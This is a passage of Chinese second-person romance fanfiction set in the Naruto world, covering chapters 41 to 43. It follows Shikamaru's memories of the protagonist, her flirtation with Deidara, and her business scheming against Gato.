真糟糕,而且这种回忆是不受控制的,无法阻止,他脑海里关于你的回忆愈发清晰,鹿丸从未像现在这样讨厌自己的好记性,他居然还想起了当初在忍者学校的时候,他初次见到你是在开学典礼上,你作为那个宇智波佐助的家属也一同参加他的开学典礼。 你一出现就吸引了周围所有人的目光。 “看啊,那就是那个宇智波佐助的姐姐诶,好漂亮啊,感觉比电视上的人还要好看诶。” 真的有那么夸张吗? 鹿丸不怎么相信那些人说的话,只觉得他们说得实在是太夸张了,可是当他回过头,看见站在宇智波佐助身边的你时,他忽然意识到,原来真的有人可以仅仅只是站在那里就成为他人的视线焦点。 完全移不开视线,他盯着你看了好一会,惹得那个宇智波佐助都直皱眉头,很是不满地瞪了他一眼。 真小气,他只是看一眼而已,而且这也不是他的错啊,鹿丸在心里这样想,而后就看见你低头对宇智波佐助说了点什么,后者的表情这才有所缓和。 什么啊,原来那些脾气不怎么样的宇智波居然那么容易哄吗? 明明他从自己父亲嘴里听来的关于宇智波的描述都是性格阴晴不定,而且情绪波动很大的人啊。 但比起对宇智波佐助前后变化的惊讶,他更加好奇的是你到底是怎么做到的,居然让宇智波乖乖听话。 这就像是驯服性格难以捉摸的猫科动物,你的厉害之处在于你不光可以驯服,而且还驯服了不止一只,听说你在宇智波的风评也很好,尽管你是外族人,但是你在宇智波生活了那么久,那些族人都已经把你当成了自己的一份子。 不仅仅是这样,除了宇智波,就连其他人也都对你满是赞美,世界上真的会有这么完美的人吗?鹿丸觉得这是不存在的,你肯定会有属于自己的缺点,他曾经对此很好奇。想要知道你的缺点到底是什么,想要看穿你的真面目。 烦躁。 脑袋里思考的东西太多以至于他都无法入睡,完全睡不着,他索性自暴自弃地让自己的思绪顺着无尽的黑夜飘到过去,飘到自己的童年,那个在忍者学校的童年。 宇智波佐助不怎么喜欢别人称呼你为他的姐姐,每次别人这么说的时候他都会认真地纠正道:“明希就是明希,明希不是我的姐姐。” 只是出自本能地反驳他人将他和你的关系定义成姐弟,那个时候的他也不知道自己为什么会那么做,只是 觉得不应该是这样的。 鹿丸没怎么和宇智波佐助有过接触,宇智波一族向来是木叶内部的风云一族,这里的风云可不是什么好词,而是因为他们的处境在木叶内逐年变得尴尬,这份尴尬鹿丸通过在餐桌上听父亲奈良鹿久说起工作上的事情他就能隐约感觉到不对劲。 但是宇智波佐助对此一无所知,他还在努力学习,努力成为第一名,努力获得家人的认可。 所以那个时候鹿丸看待宇智波佐助总是带着一种莫名复杂的心情,他或许不知道自己的未来会是怎样的吧? 宇智波佐助还沉浸在幸福中,鹿丸就像是在看待一个注定会是不完美结局的故事,静静看着这个故事发展。 虽然很不想承认,但鹿丸确实挺羡慕宇智波佐助的,这种羡慕一直持续到从忍者学校毕业,你还特意来参加了他的毕业典礼,鹿丸遥遥地望向你,看着你俯身拥抱那孩子,在他耳边说了点什么,然后宇智波佐助就笑了起来,下一秒又想起自己还要维持自己冷酷的形象,就又绷直唇角。 宇智波一族和木叶的矛盾越来越明显,也越来越沉重,那段时间他的父亲也经常在餐桌上说起工作上的事情,而他的母亲居然没有阻止,要知道在此之前他的母亲可是很不喜欢在餐桌上讨论工作的,因为她觉得这会影响胃口。 但是她却没有阻止,只是静静地听着,而后时不时皱眉,嘴里嘟哝着:“怎么会演变到这一步呢?” 像是被这种凝重的气氛感染,鹿丸也没什么胃口吃晚餐了,他想,果然他的母亲很明智,餐桌上就不该讨论这些事情的。 但是最后的最后,那笼罩在宇智波一族上空的阴云却突然消失了,那么的突兀,就连他的父亲都没有料到,鹿丸也是在很久之后才知道那是你做的,如果不是你写信给火之国的大名,让他们插手木叶的事情,宇智波绝不会轻易逃过一劫。 原来你还能做到这种程度吗? 原来你背后的势力已经发展到如此强大的地步了吗? 鹿丸突然发现自己好像对你也不是很了解,他对你的观察都是浮于表面的,但是今天不一样,他好像透过表面,看到你内心的一角,虽然只是冰山一角,但足以让他分析许久,也足以让他对你的好奇心再度被唤醒。 也不知道过了多久,鹿丸总算是在疲惫中睡去。 第42章 “脸色很难看哦,昨天没有睡好吗?”在鹿丸哈切连天地吃早餐的时候你的身影飘到他的耳边,也不知道你是什么时候出现的,那么神不知鬼不觉。 鹿丸手上动作一顿,他该怎么告诉你自己昨天晚上梦到的全是你呢? 虽然觉得你根本不会在意这些东西,哪怕他说了你只会敷衍似的点点头,然后说一声是吗,能够进入你的梦里还真是我的荣幸。 但是……他就是会感到不安,甚至于都不敢与你对视。 他一皱眉,眉毛就压着眼睛,视线垂落,他被局限的视野里跃入你的衣角,你穿着米色的休闲套装,你似乎不怎么喜欢束手束脚的装扮,即便是在昨晚的宴会上你也只是勉强穿着正装,被熨烫得没有一丝褶皱的白衬衣还有黑色衬裤。 但你以前在木叶的时候好像穿得更多的是裙装,人们也往往用温婉来形容你,现在和你近距离接触下来就发现以前的人都大错特错,你可不是那种性格温柔的人,相反地,他察觉到了你藏在温和假面下的强硬态度。 “一直看着我的话,会给我造成困扰的啊,鹿丸先生。”你很自来熟地在鹿丸面前坐下,明明旁边还有很多空位置,但你就是出于某种故意的心态占据他面前的空位置。 你手中干净的黄油刀切下一角黄油,涂抹在面包片上,鹿丸沉默地注视着你那慢条斯理的动作,忽然地,这种念头是突兀闯进他的脑海里的,他觉得自己就像是那一块黄油,在你手中被切割,然后变成你想要的形状。 “鹿丸,你没有听见我刚才说的话吗?”你又重复一遍,然后将手中涂抹着黄油的面包片递给他,后者不知所措地,神态和动作都很拘谨地从你手中接过那片面包,咬了一口,他好像品尝到了你的香气。 好糟糕的感觉,更糟糕的是他居然不怎么讨厌这种感觉,咬下一口后又听见你说:“我还以为鹿丸你会说谢谢的呢。” “啊、谢谢——”节奏完全被你掌控,他的口腔里弥漫着黄油的香味,当然,还有你的香味。 你点了点头,鹿丸问你要不要喝茶,他正在给你倒茶,红茶的香味幅散开来,迪达拉就是在这一股香味中出现的,走路带风,拉过一张椅子在你旁边坐下,说:“你今天怎么起得这么早?” 鹿丸默不作声地观察那个金发少年,金色长发被他扎成高马尾,额前的刘海又被他用发夹夹着。 ……是钻石发夹吗? 这副装扮实在是有些难以欣赏,至少对于鹿丸来说是难以欣赏的,不过对方好像也不在乎鹿丸的看法,倒不如说他是根本就没把迪达拉放在眼里,从他出现到落座,他都没有正眼看过鹿丸。 简直就是完全将他忽略了,好在鹿丸也不是那种沉不住气的性格,这样也好,他可以借着这个机会暗中观察他。 “是啊,昨天晚上我睡得很好哦,你呢?” 鹿丸通过你的态度推测你和这个金发少年的关系,是床伴吗?不不……这么想或许对你太不尊重了,对方也许只是一个暂时获得你青睐的服务员而已,然后现在是在恃宠而骄吗? 这种剧情好像只会出现在影视剧里啊,没想到他还能亲眼看见吗? 鹿丸平常不怎么看这种影视剧,但因为小队里的山中井野很喜欢这一类影视剧还有小说,所以他也耳濡目染地了解到一些俗套剧情,比如说获得上位者青睐从而飞上枝头变凤凰的剧情。 那个金发少年就是这种剧情里的麻雀了吧? “我以为你会来叫我起床的,但是我一觉醒来都没看见你的人影还以为你又走了啊。”迪达拉也不是第一次这么被你给丢下了,他好像对此耿耿于怀,但你的反应就是:“是吗,那我下次会给你留张纸条的。” 迪达拉想听的可不是这个啊,他撇撇嘴,皱着眉,别在头发上的钻石发夹闪闪发光,就像他的性格一样让人不容忽视,他说:“这不是留一张纸条就能解决的。” “噢,那我留一张支票总可以了吧?”你端起茶杯,隔着朦胧的茶雾对着迪达拉笑了下。 身为旁观者的鹿丸愈发肯定自己之前的推测,果然是那种关系吗? 怎么说呢……像你这样已经身居高位而且有钱有权的人,会做出这种举动也不奇怪,鹿丸都不自觉地开始为你开脱,甚至还觉得那个金发少年实在是无理取闹,全然忘了自己一开始明明是完全中立的。 迪达拉想到你以前给带土开支票,哈,同样的手段还想用来打发他吗?而且他可不想要你的钱,他轻哼一声,转而将目光放在鹿丸身上,啊……是那个木叶的忍者,刚才一直在充当背景板,估计是在观察分析他吧? 所以呢,观察到现在又得出了什么结论呢? 迪达拉青蓝色的眼睛不加掩饰地将鹿丸从头到脚打量一遍,然后可 以确定他的长相不是你喜欢的类型,毕竟他的五官也不算多精致,顶多就算是清秀而已,乏善可陈的那种,还有那发型和打扮,都很一般,一点艺术感都没有。 就凭这样的长相就想要接近你吗?那想得未免也太美了一点,想着想着,迪达拉看向鹿丸的眼里就是满是不屑。 这家伙到底是怎么回事?莫名其妙地就开始审视他,然后又对他散发恶意,关键前提是他根本就没有做些什么吧?别提说什么了,就连眼神都不明显,自己究竟是哪里惹怒了他呢? “你的品味变得那么差劲了?这样的你也能看得上?”迪达拉没好气地说。 哈,他就知道,鹿丸顿时了然,对方似乎把自己当成假想敌了,这股没由来的敌意也是因为把自己划分到情敌的那一范围内,真是奇怪,他什么都没做就收获了同性的恶意,仅仅只是因为他和你说了几句话而已。 你轻而易举地挑拨他的情绪,然后坐享其成。 真是可怕的手段。 鹿丸说:“我和明希小姐不是你想的那种关系。” 迪达拉就跟个小炸.弹似的,鹿丸这话一出点燃了导火索,迪达拉咋咋呼呼地说:“谁知道你的心里在打什么算盘,你是木叶的忍者,木叶派你来估计也是想要通过你来获得明希的帮助,所以你肯定会实处浑身解数来勾引她的,嗯!” 听完这话,鹿丸表情木然,怎么说呢……他刚才还觉得对方是麻雀变凤凰的主人公,结果对方也是这么揣测自己的,他们的想法居然不谋而合了,这又何尝不是一种巧合呢? “但是你们木叶就不会派几个更好看一点的人过来吗?论起长相你可真是一点都不占优势啊。”迪达拉说话尖锐直接。 真是够了,他怎么还在围着长相这个话题打转? 鹿丸说:“总比你空有一副皮囊来得好。”这话就像是间接承认了他是来勾引你的。 算了,他都懒得解释,清者自清,更何况对方既然已经下了结论,而且还对自己心存偏见,那么就算他说再多也没有意义,他还是会那么认为的。 话语间你给迪达拉倒了一杯红茶,把可颂推到他的手边,说:“吃早餐。” 紧接着神奇的事情发生了,刚才还气势汹汹的少年竟然顿时收声,然后安静地吃早餐。 你这是怎么做到的?鹿丸惊讶地看了一眼迪达拉,又看看你,你恰好在冲他笑。 鹿丸的脑袋嗡地一声响,等等——你该不会也是这么认为的吧?觉得他是来勾引你什么的。 但是…… 他并不是这样的,该怎么办,要向你解释吗?专门为了这个而解释好像太刻意了,就在鹿丸纠结的时候你已经开启下一个话题了,你说:“对了,你有通灵兽吗?我日后估计会经常和你通信,如果没有通灵兽的话会有些麻烦呢。” 通灵兽啊……鹿丸确实还没考虑到这一点,他说:“信鸽呢?” 你轻轻地摇了摇头,说:“不行啊,我写给你的信是很机密的啊。” 鹿丸若有所思地“啊”了一声,非常机密,那他就得要好好考虑一下了。 “通灵兽我会准备的,请不用担心。”他的老师阿斯玛来到鹿丸身后,因为他的出现鹿丸感觉自己莫名松了一口气,虽然他现在已经是中忍了,这次出任务也不是和老师而是和队友阿斯玛,但在他的潜意识里仍旧将阿斯玛当成老师。 只要有老师在的话就能够放下心来,这个想法仍然根植于他的脑海深处。 “是阿斯玛先生啊。”你对着猿飞阿斯玛笑了下,没起身,随意地指了指旁边的空位置,说:“请坐吧。” 能够从你的态度里读出你那份微妙的骄傲,但你的骄傲并不会让人讨厌,只会让人觉得理所当然,毕竟你都已经坐到这个位置了,带有一些傲气也是情理之中的。 “看来鹿丸很依赖自己的老师啊,在阿斯玛先生出现以后你就放松了许多欸。”你说。 被看穿了吗? 鹿丸喝了一口红茶掩饰自己的心情。 “通灵兽的事情还请您不要担心,既然您要和木叶达成合作,那么我们也会拿出自己的诚意的。”阿斯玛说。 早餐吃得差不多了,你起身,对他们师生说:“那你们慢用。” 眼看你要走,迪达拉也跟着起身,跟随着你的脚步离开餐厅,鹿丸的视线追随着你的背影,直到你的身影消失。 “不用再看了,她已经走了。”老师阿斯玛提醒道。 “我知道。”鹿丸有些烦躁地应了一声,这份烦躁来得没头没尾的。 阿斯玛也有些烦闷地想要点烟,然后被路过的工作人员制止,“不好意思哦先生,我们这边是禁止吸烟的。” 阿斯玛应了一声,收起香烟,手里还握着打火机,已经养成了习惯性的动作,他说:“现在任务进行得很顺利,你为什么看上去却很烦躁?” “我不知道未来会是怎样的。” 对未来难以捉摸的感觉让他分外不安,他以为自己可以处理好这些事情的,现在看来他还不算是个合格的忍者。 “这只能走一步算一步了,啊对了,不要再想着接近她了,保持现在的距离就好,火影大人给你布置的任务里应该没有引诱她这一项吧?” 闻言,鹿丸微微睁大眼睛,怎么连他的老师也是这么认为的?他斩钉截铁地说:“没有,你想得太多了。” “那就好,虽然鹿丸你是个聪明的孩子,但是再怎么聪明的人在感情问题上也很容易犯糊涂,如果你要谈恋爱的话,可不要找这样的对象呀。”阿斯玛语重心长地说,他是真的担心自己的学生会被你玩坏掉。 鹿丸喝了一口红茶,说:“我知道的,我当然知道。” 他的手指焦躁地敲了敲桌边。 看这样子是根本就没有听进去。 你在离开餐厅以后没有马上回自己的房间,这么好的天气在书房里工作实在是太浪费了,虽然还有一些文件在等着你处理,比如说卡多在酒之国订购的那批货物,卡多总算是意识到酒之国出事了,其实本来你还以为在酒之国的事情传出去以后卡多就会有所行动的。 但他好像根本就没当回事,估计是把这个消息当成是小岛上的小打小闹了,等他察觉到不对劲的时候已经太晚了,你的势力早已深入这个小国家,而且当地的产业也受到你的控制,现在这个国家俨然成为你的后花园。 或许有人会好奇那个国家的君主是什么反应,还能有什么反应呢,你能给他们足够多的好处,他们一看有利可图,自然纷纷闭嘴,装作什么都没看见,什么都没听见的样子,只要利益够多,就足以堵上那些贵族的嘴巴,你深谙这一道理。 现在应该着急的是卡多才对,毕竟他付了钱,但是货物没有拿到手,再加上你在他的赌场里闹出的动静,他在短期内损失惨重,商人嘛,最看重的就是利益了,断人财路如杀人父母,他气得那叫一个火冒三丈。 也派出不少人来调查这次事件,而好巧不巧的是,这个任务被分配到了雾隐村,又被再不斩发现了,最后落在他的手里。 只能说卡多的运气实在是不怎么样,但就算他的任务没有委托雾隐村,哪怕他委托的是别的忍者村,比如说砂忍村,又比如说木叶,结果也是一样的,这就是你拓宽自己人脉的好处了。 虽然这个世界比你上辈子还要残酷,但这仍旧是个人情社会。 谁说忍者世界不讲究人情世故的啊,说这话的人肯定是在开玩笑,越是这样的世界反而更讲究人情啊,毕竟这里的人法治观念可以说是淡薄的,在你看来普法教育任重而道远啊。 言归正传,收到卡多这份委托的再不斩对水影说:“这个任务就交给我吧。” 别看现在再不斩只不过是个普通上忍,稍微知道一点内幕的人都知道他早就找 到了金主,啊……说是金主有些不太恰当应该是赞助人才对。 这世上没有不透风的墙,哪怕掩盖得再好也还是会泄露一些消息。 那些捕风捉影的消息里真假参半,有真有假,假的消息那叫一个夸张,说他为了攀附权贵甚至付出了自己的一切,当然,因为这个消息实在是太夸张了以至于反而没什么人相信,大部分人相信的是另外一种说辞,那就是再不斩喜欢上了某个有权有势的委托人,求而不得。 后者就合理多了。 有这些流言蜚语的传播,再不斩在雾隐村的生活或多或少会受到一些影响,但好在他本身并不在意这些,他对此嗤之以鼻,什么叫做攀附权贵?你又不是那种容易讨好的人,他时至今日都琢磨不透你的想法。 但是有一点他们说对了,那就是他确实求而不得。 自从他回到雾隐村以后自己给你写的信都石沉大海,他写了那么多信件,你一封都没回,就好像你单方面和他断联了一样。 他不是那种容易多想的人,但写了那么多信杳无音信,换做谁都会在意的吧? 他得找个机会去见见你,看看你到底在做什么,你真的有那么忙碌吗?他是不相信的,他见过你那场宴会袭击后第一时间给白写信,看吧,只要你有心,哪怕你在被人暗杀你还能抽空写信。 完全取决于你有没有心。 因此当再不斩看到那份委托的时候,他一看委托人是卡多,想起那是你的死对头,你曾经半开玩笑地说要把卡多的资产全都吞并了。 再结合你这段时间的动作,他就知道让卡多那么极其败坏的幕后主使就是你。 再不斩拿着那份委托,想象着你是如何戏弄自己的敌人的,忍不住笑了。 这果然是你能做出来的事情。 在再不斩离开办公大楼以后还有不少人窃窃私语,“他就是因为后台够硬才能随意接下这种任务的吧?真好奇他的金主到底看中了他什么呢?” “你还是小点声吧,万一被他听见就糟糕了。” 而此时正在茗之国的你还不知道再不斩接下了这个任务,并且在不久之后他就会找过来。 你还在享受上午的大好时光呢。 茗之国以茶叶著称,所以哪怕是都城也有大片大片的茶田,采茶工正踩着阳光采摘新鲜的茶叶嫩芽,你行走在茶田里,迪达拉说这里也没什么有意思的东西。 你坐在半山腰的亭子里,从这里往远处看去还能看见点缀在茶田里的身影,你说:“是吗?那你觉得什么才是有意思的东西呢?如果你觉得无趣的话完全可以离开的呀,我并没有拦着你。” 迪达拉不说话了,他就是随口一说而已没想到你居然那么认真地回答了,当然是认真地给他下了逐客令,他说:“你就不能说两句好听点的话吗?” 亏他一完成任务就来找你,结果你就是这个反应,他郁闷得要命。 就感觉自己的真心好像错付了。 没错,就是他的真心没有换来你的真心,真不公平,他气恼地说:“你都能看得上木叶那个长相平平无奇的忍者,就不能多看我两眼吗?” 什么啊,原来他一直都在介意这个细节啊。 “我没看上他。” “那你还给他抹面包片?” “噢……因为涂到一半发现是咸口黄油,总不能就这么浪费了吧?” 好吧,你说的好像也能解释得通,但是,迪达拉就是很在意,他说:“你真的不喜欢他吗?” 你单手托腮向他靠近,伸出手捏了一下他的脸颊,少年的脸颊也是软乎乎的,和他的性格一样,他说:“你干嘛?”嘴里嚷嚷着,但是身体倒是一动不动的。 “你好像很喜欢这个钻石发夹?你喜欢钻石啊?” “才没有,因为那是你的东西我才喜欢的。”什么钻石宝石,在他眼里都没什么区别,只是这个钻石发夹是你给的,甚至还是你戴过的,所以他才会那么珍惜。 “你别转移话题啊。”迪达拉想要学着你的样子也捏一下你的脸颊,但是伸出手,就变成掌心贴着你的侧脸,你对他缓缓地眨了眨眼睛,他的声音都僵住了。 现在这时候应该说些什么呢? “只要是我给的东西你都喜欢吗?”你问道。 当然,他心里的声音立马回答道。 他干巴巴地说:“哪怕是你给的痛苦,我也喜欢。” 差不多得了,他们忍者可真是人均麦当劳预备役,你说:“我可没有这种癖好,既然你都喜欢的话,那我就再给你安排几个任务吧。” 闲着也是闲着,那就让他给你打白工吧,这么好用的劳动力可不能白白浪费了啊,至于什么情情爱爱,那些都是用来骗小孩子的,没错你指的小孩子就是迪达拉。 黑心的大人只会想着将利益最大化,幼稚的小孩子才会用尽千方百计地接近对方。 反正无论怎样你都不亏。 迪达拉被你这话噎了一下,怎么说呢……确实你给的任务也属于你给的东西,但是,是不是哪里不对啊? 第43章 于是乎单纯的迪达拉就这样被你骗了,又被你骗着去打白工了,他还不明所以,你说:“我是因为信任迪达拉才那么做的呀,我想迪达拉你应该也不会让我失望的吧?” 这个世界的人还是太老实了,压根就没有受过画大饼的毒打,所以听到你这么说也只是愣了一下,隐约感觉到哪里不对劲,但是一时半会又说不上来,迪达拉思考了几秒,既然你都说了,他这么做都是因为信任他,那他……也不应该辜负你的相信。 但后来他还是狐疑地问道:“你该不会对其他人也都是这么说的吧?” 看来他也没有那么容易被哄骗啊,“那当然没有了。”你说的是实话,因为每个人的性格有所不同,所以相应的对策也会有所调整,那句话怎么说的来着,哦对,量身定做的话术。 迪达拉狐疑地盯着你看了好久,直到你说:“忽然发现你的眼睛好像也很漂亮欸。” 被你这么一夸奖,他刚才的气势消失得一干二净,他说:“干嘛突然那么夸我啊?”气氛一下子就被打乱了,他朝你伸出手,你不明所以地将自己的手搭在上面,见状,迪达拉都愣了一下,还在怀疑你是不是故意的,“我不是这个意思。” 那他又是什么意思呢?你奇怪地看他一眼,迪达拉还是那么容易脸红,被你夸一句会脸红,被你握住手也会脸红,他好像一直都在红温中,你说:“那你是什么意思?” 迪达拉说:“你的任务清单给我。” 噢,原来他这是在和你要任务清单啊,但你一时半会都还没想好,因为你刚才只是在给他画大饼啊,于是乎你就接着画大饼,你说:“啊……这个不用着急,你很着急要去完成任务吗?我觉得就这样待在这里也很好不是吗?我是说,只有我们两个。” 确实挺好的,迪达拉心里的声音这么回答,但他没有说出口,他其实不怎么擅长和别人相处,以前在村子里的时候也是这样独来独往,毕竟在他看来村子里的人没有一个能够理解他对艺术的追求,他们只会要求他放弃这一追求,让他变成那些无趣的忍者。 他虽然是忍者,但成为忍者不代表就要放弃自己对艺术的追求,这两者难道就不能同时兼顾吗? 话题好像扯远了,但他想到了很久以前,他还没有叛逃,他还在村子里的时候,他就对一成不变生活感觉到了厌倦,如果可以的话,真正的人生就应该是如同爆.炸般瞬间绽放出绚烂的火光。 或许他也是为了那一刻而存在的。 但你,他想你也许是能够理解他的,哪怕你总是表现得那么漫不经心,可他心里就是这么笃定,你从来没有否认过他对艺术的追求,甚至还会问是否需要资金赞助,这不就代表你的态度吗? 所以你对他来说是特殊的,是其他人无法取代的,想到这里,他不动声色地看了你一眼。 然后他的偷看就被抓包了,你说:“所以你的回答又是什么呢?” 啊对,你刚才还对他说了很多话,迪达拉回过神来,眨巴眨巴眼睛,他说:“嗯……那我就陪你一会吧。” 你说:“迪达拉,你是不是没学过怎么和被人好好相处啊?” 此时的迪达拉还在嘴硬,他说:“什么啊,我没有和别人相处 的必要,而且——和其他人相处又不难。” 确实不难,但一个人社会化程度的高低你聊几句就能看出来,你总觉得晓组织的成员社会化程度都不太高,否则也不会得出要通过武力彻底解决战争。 毕竟同一性和斗争性是缺一不可的,想要彻底解决战争也是很理想化的想法,当然,你也没有要否认这个想法的意思,你只是觉得除此之外还有别的解决方法而已。 你正要收回手,但是迪达拉反握住你的手,说:“……我想和你牵手。” 居然能坦率地说出自己的内心的想法,这还真是一大进步啊,你的脸上浮现出欣慰的神情,你说:“可以啊,下次你想什么就直接说出口就好了。” 迪达拉倒是很听话,他说:“我还想让那个木叶的忍者死在半路上。” 啊,那这个就不太行了,你皱起眉,用一种安抚小孩子别闹了的语气告诉他,“这个不行。”但其他还可以商量一下。 迪达拉虽然孩子气了一点,但也不至于无理取闹,他能看出那个叫做奈良鹿丸的木叶忍者对你来说还有用。 行吧,既然对方对你还有利用价值,那他就勉为其难地放过他吧。 迪达拉又说:“那我还想要你今天晚上再给我一个晚安吻。” 这个问题不大,“可以啊,就是我亲完以后你真的不会倒地不起吗?” “开什么玩笑啊、我怎么,怎么可能这么弱啊!”迪达拉表示上次就是个意外而已,你噢噢两声,又问:“你之前没有亲吻过吗?” 虽然很想嘴硬的表示自己确实亲吻过的,但是他说这种谎言估计会被你一眼看穿,到时候场面只会变得更加尴尬,所以他老实回答:“没有,我之前才没有想过这种事情呢,嗯!” 确实,他先前也没有想过自己会喜欢谁,毕竟喜欢这种东西本身就是转瞬即逝的,而且喜欢的心情也不完全是甜蜜的,就比如说现在他对你的喜欢就是掺杂着酸涩的,看到你和其他男人走得近就会烦躁得不行,被这种捉摸不透的东西捉弄得情绪跌宕起伏,完全不受自己控制。 然后让自己变得都不像原来的自己了。 这就是喜欢的坏处了,但也是有好处的,昨天晚上你给的晚安吻就让他的大脑一片空白,神经兴奋得在战栗,这是只有在制造出完美爆.炸时候才会出现的感觉。 而你,轻飘飘落下的一个吻无异于一场狂风暴雨般的爆.炸。 只是一个吻而已就能做到这种地步,那如果是别的什么呢?迪达拉忽然想到了什么,突然咳嗽起来,“咳咳咳——”像是被呛到了。 他这是怎么回事?你伸出手拍拍他的后背给他顺气,他咳嗽得眼睛都变得水润,感觉下一秒就要哭出来了。 “你是不是想到了什么不太好的事情?”你问道,那表情了如指掌,迪达拉目光躲闪,他狡辩道:“才没有,我、我才没有想别的呢!” 好在你并没有在这个话题上面纠结太多,你说:“这里的抹茶也很出名,待会下午吃抹茶蛋糕吧。” 话题未免也跳得太快了一点,迪达拉松开手,你也要收回手,他冷不丁地说:“虽然我没什么经验,但是……如果你愿意教的话,我也会好好学的。” ……他知道他在说什么吗?结合上下文的话,就会发现他在说有些糟糕的东西欸。 迪达拉垂下眼帘,密密匝匝的眼睫遮挡着他那双青蓝色的眼瞳,他说:“就像是黏土,最后是什么样的形状完全取决于过程中是怎么被塑造的,你可以……” 说着说着,他的声音变得愈发微弱,“你可以把我变成你想要的,喜欢的形状。” 说出这番话已经耗尽他好多力气,真是奇怪,明明他在战斗的时候什么都不怕的,为什么还会因为和你说的几句话而心惊胆战呢? 你站起身,领着迪达拉往回走,这个世界的忍者三观奇怪,就连恋爱观也不怎么正常,一个个地但凡沾上恋爱都会下意识地将自己的身心都交到你的手里,也不在乎这样会不会被伤害,他们是那么慷慨,又是那么迫不及待。 “所以你为什么不说话啊?你不想要吗?”迪达拉有些着急地问,他把脑袋转到另外一边,“你不想要我吗?” “没有啊,我很喜欢迪达拉你哦,你的金发还有你的眼睛,你的手指也很漂亮。” 他的手指蜷缩了一下,他说话的声音闷闷的,“那你怎么……” “因为最近比较忙嘛,我的精力也是有限的啊。” 你这话是实话,你确实很忙,忙到都没什么玩男人的时间了,说到底玩男人也只是调味剂而已,你总不可能为了调味剂把正事给忘了吧? 迪达拉像是在分析你说的这话的可信度,好吧,可信度还挺高的,你确实很忙的样子,他每次来找你都在看文件,他说:“你就没有不忙的时候吗?” “啊……这个嘛,可能大人的世界就是这样的吧。” 什么大人不大人的啊,他看你就是在避重就轻,他说:“那我会等的,一直等到你有空的时候。” 还真是出乎意料的成熟回答啊,你半开玩笑地说:“我还以为你会说直接把我的书房给炸了呢。” 迪达拉微微眯起眼睛,说:“我哪里有这么幼稚啊?” 后来的你们还算是有说有笑地回到客房。 在头一天基金会庆祝仪式结束后大部分宾客都踏上返程的路途,也有一些宾客打算在这里暂住一段时间,同时再谈一谈合作的事情,你留在这里的几天就是在谈合作。 有的时候是一边喝茶一边谈合作,有的时候则是一边看戏剧一边谈合作,总之,你感觉自己谈了很多合作。 这并非单纯只是你的感觉,事实也正是如此,后面白整理出来的合同草稿就有厚厚的一沓,看得你头疼,你揉了揉自己的太阳穴,说:“比我想象的还要多啊。” 白委婉地表示这还只是一部分而已,其余的草稿在另外一个房间。 唉,你叹息一口气,不过好在还有白这么得力的助手,直接将你的工作量削减了一大半。 在此期间药师兜偶尔也会来帮忙,因为你有些信不过他,所以你交给他的工作都是一些没什么技术含量的工作,有点类似于实习生初入职场会遇到的dirtywork,不过反正他也没有什么意见,你给了工作那就接下,然后好好完成。 也不会和你抱怨,甚至每次见到你还会露出温和的笑容,主动向你提供情绪价值,看在他那么有用的份上,你对他的态度也有所好转,当然那,但凡他要是得寸进尺一点,你就会马上转变态度的。 但药师兜这段时间都很老实,老实得一度让你怀疑他很可能是被夺舍了,这天,你路过他的书房时顺便进去看了一眼,他还在认真工作,不得不说,这个世界的忍者好像都没有假期的概念,原本在大蛇丸那边上班的药师兜难得放了假就来你这边兼职,要是放在上辈子,他的履历不知道有多完美。 毕竟一个是在大厂实习的经验,还有一个是在前司担任高级助理的经历。 又有广度还有深度,哪怕就业形势不乐观也能收到不少好offer。 话题好像跑远了,你就是顺便来这里看一眼药师兜的工作进展的,重点在于工作进展,而不在于药师兜,但对方好像误解了你的意思, 他甚至还有些隐秘的激动,他说:“明希,你怎么来了?” 为了避免他多想,你当即解释道:“啊,我就是来看看工作进度的。” 药师兜“噢”了一声,而后单手托腮,笑盈盈地望向你,你被他盯得有些不自在了,怎么说呢,虽然他和君麻吕都是白毛,但是白毛和白毛之间是存在明显区别的,君麻吕属于你玩过以后可以随便放置在一旁的白毛,但前者就属于你玩过以后要一直被黏着的白毛。 是因为年纪大了所以格外缠人吗?你心想。 你说:“大蛇丸难道没有叫你回去吗?”大蛇丸这是怎么回事啊,他这是不要自己的下属了吗?虽然你之前确实笑纳了他的一个手下,但也不是他的每一个手下你都能笑纳的啊。 你可没有那么海纳百川的气度。 药师兜说:“啊……没有呢,可能大蛇丸大人也知道我现在正在明希你这里吧。” 就好像是直接把手里的烫手山芋丢到你这边了,你撇撇嘴,药师兜说:“对了,我看那个晓组织的人好像要走了呢,估计是又收到了新的任务了吧?你不去送送他吗?” 真少见,他还会问这些,你说:“他要走了?”你的消息可没有药师兜那么灵通。 也不知道药师兜是从哪里得到这些消息的,不光是这方面,他在其他方面的消息也都很灵通,可能这也和他以前是情报工作人员的工作经历有关,哪怕他现在已经金盆洗手不干了,但还是会留有原来收集情报的习惯。 药师兜说:“嗯,就是无意之间观察到的,明希你不知道吗?看来你对他也不是很关心呀。”他这话说得轻飘飘的,好像巴不得你不在乎那个名叫迪达拉的家伙。 你每天要处理的事情那么多,怎么可能面面俱到啊,这样想着的你从药师兜所在的书房离开,正如药师兜所说的,当天晚上迪达拉就要离开这里,在临行前他特意找到你,表情郑重其事,搞得好像和你宣布什么大事情,你说:“你要走了?” 迪达拉说是啊,又问:“你该不会很高兴吧?”说这话的时候他还在观察你脸上的表情,没有,你也没有那么高兴,甚至还有点舍不得,是的,他在你的眉眼里找到了舍不得的神情,这让他内心雀跃,他就跟发现新大陆似的惊讶道:“你在舍不得呀!你在舍不得我啊?” 他高兴得眉飞色舞,过了几秒才咳嗽一声,调整自己的表情,说:“嗯……我明白你的心意了。” “有话快说,我的时间可是很宝贵的。”你说,伸手戳了一下他的额头,迪达拉眨了一下眼睛,捂着自己的额头说:“干什么啊……算了,我这次离开估计要过很长一段时间才能来看你了。” “然后呢?” 他该不会就想和你说这些吧?你还以为是什么重要的大事呢,结果就是这个?你略带失望地说:“哦好的,那你可以走了。” 真是个绝情的女人,迪达拉在心里嘟哝一声,他又握住你的手腕,说:“在此之前,在我离开之前——你就不能再亲我一下吗?” 前面铺垫了那么多,你总算是明白了他的真正目的,那就是和你索要一个亲吻。 大费周章地,就只是为了这个,你不由得觉得有些好笑,你揪着他的衣领,把他往自己的方向一带,亲吻他的额头还有脸颊,最后是嘴唇,直接把他亲得晕乎乎的,一时之间都找不着北了,你说:“现在可以了吗?” “啊……嗯,可以了。”不仅仅是可以了,根本就是可以过头的程度了,他想。 你看着他乘坐那只黏土制成的飞鸟,鸟儿拍动翅膀,一眨眼的功夫就腾空到半空中,你还能看见他低垂着脑袋向你挥手,嘴里似乎还在呼唤着你的名字。 